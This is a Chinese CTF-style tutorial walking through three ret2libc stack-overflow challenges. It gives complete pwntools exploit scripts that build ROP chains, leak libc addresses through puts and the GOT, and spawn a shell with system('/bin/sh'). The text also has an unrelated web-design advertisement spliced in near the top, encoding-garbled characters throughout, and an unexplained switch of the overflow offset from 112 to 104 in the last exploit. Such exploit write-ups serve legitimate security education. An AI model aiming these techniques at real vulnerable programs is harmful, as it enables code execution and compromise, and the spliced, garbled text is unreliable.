本文視頻:
???????? 如果文字過于枯燥,可觀看在線視頻:https://edu.51cto.com/sd/16514
公司主營業(yè)務(wù):成都網(wǎng)站制作、網(wǎng)站設(shè)計、外貿(mào)網(wǎng)站建設(shè)、移動網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)公司是一支青春激揚、勤奮敬業(yè)、活力青春激揚、勤奮敬業(yè)、活力澎湃、和諧高效的團隊。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團隊有機會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)公司推出扶綏免費做網(wǎng)站回饋大家。
基礎(chǔ)知識:
第一題:ret2libc1
我們先用IDA分析下
有一個gets函數(shù)會有溢出漏洞,我們在查看下程序的有哪些保護
可以看到開啟了NX,說明我們在棧中的數(shù)據(jù)沒有執(zhí)行權(quán)限,我們需要使用ROP方式進行繞過
我們使用gdb的pattern進行測試溢出偏移量是112
命令分別是:pattern create 200
執(zhí)行r命令
輸入生成的字符串
根據(jù)提示執(zhí)行pattern offset xxxxxx
接下里我們要做的是執(zhí)行系統(tǒng)函數(shù)system("/bin/sh"),來獲取系統(tǒng)的權(quán)限
所以我們可以想象我們的payload是:'a' * 112 + system_plt + 0x0000000 + bin_sh_addr
我們需要system的plt地址以及字符串/bin/sh的地址
system的plt地址可以用IDA來查看,在頁面中使用ALT + T來搜索system
/bin/sh的獲取方式:
所以得到我們的exp為:
from pwn import *
p = process('./ret2libc1')
system_plt_addr = 0x08048460
bin_sh_addr = 0x08048720
payload = flat(['a' * 112 , system_plt_addr , 0x00000000 , bin_sh_addr])
p.sendline(payload)
p.interactive()
第二題
這道題和第一個題沒有太大區(qū)別,唯一的區(qū)別在于找不到字符串/bin/sh的地址了。所以我們需要重新構(gòu)造。
除了在程序中查找/bin/sh的地址,我們也可以直接讓用戶輸入。所以我們可以構(gòu)造以下payload
payload = 'a' + get_plt + pop_ebx + bin_sh + system_plt + 0x00000000 + bin_sh
payload里的pop_ebx還是pop eax都無所謂,但我們使用ROPgadget在搜索的時候只能搜到pop ebx;ret
接下來我們動態(tài)調(diào)試下payload發(fā)送到ret2libc2后代碼執(zhí)行過程和棧變化。我們看下exp代碼
from pwn import *
p = process('./ret2libc2')
system_plt = 0x08048490
gets_plt = 0x08048460
buf = 0x0804a0e4 - 16
pop_ebx_addr = 0x0804843d
payload = flat(['a' * 112,gets_plt,pop_ebx_addr,buf,system_plt,0x00000000,buf])
pause()
p.sendline(payload)
p.interactive()
也可以是一下exp:
from pwn import *
p = process("./ret2libc2")
elf = ELF("./ret2libc2")
rop = ROP(elf)
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
#自動查找rop,而不需要我們使用ROPgadget去搜索
pop_ret = rop.search(8).address
#pop_ret = 0x0804843d
#elf.bss()代表的是bss段段開始位置(這個位置會比實際的bss起始位置大一些)
buf = elf.bss(0xf)
#buf = 0x0804b000 - 16
payload = flat(['a'*112,gets_plt,pop_ret,buf,system_plt,0x00000000,buf])
p.sendline(payload)
p.sendline('/bin/sh\n')
p.interactive()
buf變量的值是bss段的內(nèi)容,我們使用vmmap就可以看到有w權(quán)限的bss,在最末尾-16來保存我們gets輸入的內(nèi)容。
也可以使用display &buf2來找一個變量的地址
運行exp.py,得到pid后使用gdb attach進行調(diào)試
一直finish到main函數(shù)中
我們發(fā)現(xiàn)在執(zhí)行完main方法的ret之后程序進入了gets函數(shù),說明我們的payload被成功執(zhí)行了.
第三題:
使用IDA查看代碼
發(fā)現(xiàn)有g(shù)ets函數(shù),存在漏洞,使用GDB加載程序:gdb ./ret2libc3
進入到gdb命令行后,使用checksec查看保護
發(fā)現(xiàn)有NX保護,我們使用ROP進行繞過。
我們可以構(gòu)造payload = 'a' * offset + system_plt+0x00000000 + bin_sh_addr
關(guān)鍵在于如何獲取system和/bin/sh的地址,所以我們使用objdump查看system plt地址
發(fā)現(xiàn)plt中沒有system,使用ROPgadget查找/bin/sh的地址
發(fā)現(xiàn)沒有/bin/sh,所以我們只能靠自己計算這兩個的值了。
那么我們?nèi)绾蔚玫?system 函數(shù)的地址呢?這里就主要利用了兩個知識點
system 函數(shù)屬于 libc,而 libc.so 動態(tài)鏈接庫中的函數(shù)之間相對偏移是固定的。
即使程序有 ASLR 保護,也只是針對于地址中間位進行隨機,最低的 12 位并不會發(fā)生改變。而 libc 在 github 上有人進行收集,如下
https://github.com/niklasb/libc-database
所以我們第一個要做的事情就是判斷這個ret2libc3程序依賴的哪個libc,思路如下:
1、泄露一個ret2libc3函數(shù)的位置
2、獲取libc的版本
3、根據(jù)偏移獲取shell和sh的位置
4、執(zhí)行程序獲取shell
這里我們用一個lic的工具https://github.com/lieanu/LibcSearcher
他能幫我們快速的找到system和/bin/sh的地址,但是他需要一個關(guān)鍵的東西:一個程序函數(shù)的地址
我們知道在Linux的程序中使用了延遲綁定機制,也就是說一個函數(shù)在沒有執(zhí)行前,你是不知道它的真實地址是什么的。而這個程序中我們能看到的有printf函數(shù)、gets函數(shù)。我們通過這兩個函數(shù)來確定libc的版本。代碼如下:
from pwn import *
import time
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
offset = 112
#要泄漏的函數(shù)的地址
target_func = 'gets'
#調(diào)用puts函數(shù)進行打印
puts_func = 'puts'
puts_plt = elf.plt[puts_func]
target_got = elf.got[target_func]
main_addr = elf.symbols['main']
#調(diào)用puts函數(shù),打印泄漏函數(shù)的got地址,最后返回main函數(shù),在32位程序中調(diào)用函數(shù)地址的第一個參數(shù)就是返回地址,后面的才是參數(shù)
payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(target_got)
#payload = flat([offset * 'a',puts_plt,main_addr,puts_got])
p.sendlineafter("Can you find it !?",payload)
print hex(u32(p.recv()[0:4]))
我們看一下結(jié)果:確實后12位是不變的,3e0。(一個字符4個字節(jié),3 *4 = 12)
我們查一下版本:https://libc.blukat.me
版本有點多,我們換個函數(shù),使用puts函數(shù),直接將變量target_func改為puts,查看運行結(jié)果:
發(fā)現(xiàn)后12位是ca0
經(jīng)過比對,這兩個版本的地址是一樣的,所以用那個都可以。
最后exp
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
rop = ROP(ret2libc3)
func = 'puts'
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got[func]
main = ret2libc3.symbols['main']# 獲取main函數(shù)地址
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
#獲取puts函數(shù)運行時的地址
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr
# 實例化LibcSearcher對象
libc = LibcSearcher(func, libc_start_main_addr)
# 計算libc的初始地址(puts的動態(tài)地址-puts的偏移地址)
libcbase = libc_start_main_addr - libc.dump(func)
# 計算system地址
system_addr = libcbase + libc.dump('system')
# 計算/bin/sh地址
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()